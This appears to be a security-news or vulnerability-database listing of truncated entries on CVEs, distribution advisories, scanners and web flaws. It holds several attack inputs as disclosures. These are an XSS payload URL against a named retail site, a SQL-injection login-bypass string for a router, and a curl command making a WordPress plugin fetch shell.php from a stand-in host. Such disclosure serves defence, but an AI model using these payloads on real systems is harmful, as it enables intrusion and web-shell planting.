CVE-2006-0459

flex.skl in Will Estes and John Millaway Fast Lexical Analyzer Generator flex before 2.5.33 does not allocate enough memory for grammars containing 1 REJECT statements or 2 trailing context rules, which causes flex to generate code that contains a buffer overflow that might allow context-dependen...

Windows Drivers are True’ly Tricky

Posted by James Forshaw, Driving for Bugs Auditing a product for security vulnerabilities can be a difficult challenge, and there’s no guarantee you’ll catch all vulnerabilities even when you do. This post describes an issue I identified in the Windows Driver code for Truecrypt, which has already...

ZeroNet - Decentralized websites using Bitcoin crypto and BitTorrent network

Decentralized websites using Bitcoin crypto and the BitTorrent network - http://zeronet.io Why? We believe in open, free, and uncensored network and communication. No single point of failure: Site remains online so long as at least 1 peer serving it. No hosting costs: Sites are served by visitors...

Oracle: Security Advisory (ELSA-2014-1652)

The remote host is missing an update for the SPDX-FileCopyrightText: 2015 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

lulus.com XSS vulnerability

Vulnerable URL: https://www.lulus.com/categories/1690/going-fast.html?x" style=background:black; onmouseover=alertString.fromCharCode88,83,83,80,79,83,69,68 " Details: Description| Value ---|--- Patched:| Yes, at 28.10.2016 Latest check for patch:| 28.10.2016 06:40 GMT Vulnerability type:| XSS...

Contactless Fingerprint Scanner That Can Capture Your Prints from Meters Away

Until today, there existed such Fingerprint Biometric Readers that required your touch to authenticate yourself as an authorized person. However, the latest research shows that the future of fingerprint scanners lies in a "no-touch" activity by an individual for gaining access. Recently, NIST...

Amazon Linux: Security Advisory (ALAS-2011-5)

The remote host is missing an update for the SPDX-FileCopyrightText: 2015 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

[SECURITY] Fedora 23 Update: rubygem-sup-0.21.0-3.fc23

Sup is a console-based email client for people with a lot of email. It supports tagging, very fast full-text search, automatic contact-list management, and more. If you're the type of person who treats email as an extension of your long-term memory, Sup is for you. Sup makes it easy to: - Handle...

Droopescan - Scanner to identify issues with several CMSs, mainly Drupal & Silverstripe

A plugin-based scanner that aids security researchers in identifying issues with several CMS: Drupal. SilverStripe. Partial functionality for: Wordpress. Joomla. computer:/droopescan$ droopescan scan drupal -u http://example.org/ -t 8 + No themes found. + Possible interesting urls found: Default...

Decentralized P2P Websites: ZeroNet

Decentralized P2P websites using Bitcoin crypto and the BitTorrent network ZeroNet uses Bitcoin cryptography and BitTorrent technology to build a decentralized censorship-resistant network. Users can publish static or dynamic websites into ZeroNet and visitors can choose to also serve the website...

SparkyLinux - Lightweight & fast Debian-based Linux Distribution

SparkyLinux is a GNU/Linux distribution created on the “testing” branch of Debian. It features customized lightweight desktops like E19, LXDE and Openbox, multimedia plugins, selected sets of apps and own custom tools to ease different tasks. Why Sparky? SparkyLinux is a Debian-based Linux...

Google Unveils Smart, New OnHub Wi-Fi Router

Don't stare at the screen for too long for the buffering to end, Google has a solution! It seems like Google is buckling up to carve out a niche in the market of wireless smart network devices. Just few days after Google made itself a subsidiary and a separate venture under Alphabet Inc, it...

Love fast router web Management page several vulnerabilities SQL blind injection, the plaintext stored passwords-bug warning-the black bar safety net

SQL blind injection, you can bypass the web page login authentication login default user name is admin. Password admin） I tested the ip is 1 9 2. 1 6 8. 1 6 8. 1:8 0,blind the url is http://192.168.168.1/login/x The user name of the payload is -1" OR 321=6 AND 0 0 0 1 6 7=0 0 0 1 6 7 -- The...

WordPress Fast Image Adder 1.1 Shell Upload Vulnerability

WordPress Fast Image Adder plugin version 1.1 suffers from a remote shell upload vulnerability. Title: Remote file upload vulnerability in fast-image-adder v1.1 Wordpress plugin Author: Larry W. Cashdollar, @larry0 Date: 2015-07-10 Download Site: https://wordpress.org/plugins/fast-image-adder...

[SECURITY] Fedora 21 Update: lighttpd-1.4.36-1.fc21

Secure, fast, compliant and very flexible web-server which has been optimiz ed for high-performance environments. It has a very low memory footprint compa red to other webservers and takes care of cpu-load. Its advanced feature-set FastCGI, CGI, Auth, Output-Compression, URL-Rewriting and many mo...

Fast Image Adder <= 1.1 - Unauthenticated Remote File Upload

The fast-image-adder WordPress plugin was affected by an Unauthenticated Remote File Upload security vulnerability. $ curl http://www.example.com/wp-content/plugins/fast-image-adder/fast-image-adder-uploader.php?confirm=url&url=http://sitewithshellstodl/shell.php Shell location is reported back t...

WordPress Fast Image Adder Plugin <= 1.1 - Remote File Upload

This plugin is prone to a remote file upload vulnerability, because the fast-image-adder-uploader.php file doesn't check if a user is authorized to upload files. It creates a random file name, but reports the name back to the user. Solution Update the plugin...

WordPress Fast Image Adder Plugin <= 1.1 - Remote File Upload

This plugin is prone to a remote file upload vulnerability, because the fast-image-adder-uploader.php file doesn't check if a user is authorized to upload files. It creates a random file name, but reports the name back to the user. Solution Update the plugin...

Cyber UL Could Become Reality Under Leadership of Hacker Mudge

UPDATE–One of the longstanding problems in security–and the software industry in general–is the lack of any universally acknowledged authority on quality and reliability. But the industry moved one step closer to making such a clearinghouse a reality this week when Peiter Zatko, a longtime...

WordPress Plugin WP Fast Cache Cross-Site Scripting Vulnerability

WordPress is the WordPress Software Foundation's set of blogging platform developed using the PHP language, the platform supports PHP and MySQL servers to set up a personal blog site.WP Fast Cache is one of the caching plug-ins. A cross-site scripting vulnerability exists in the WordPress plugin ...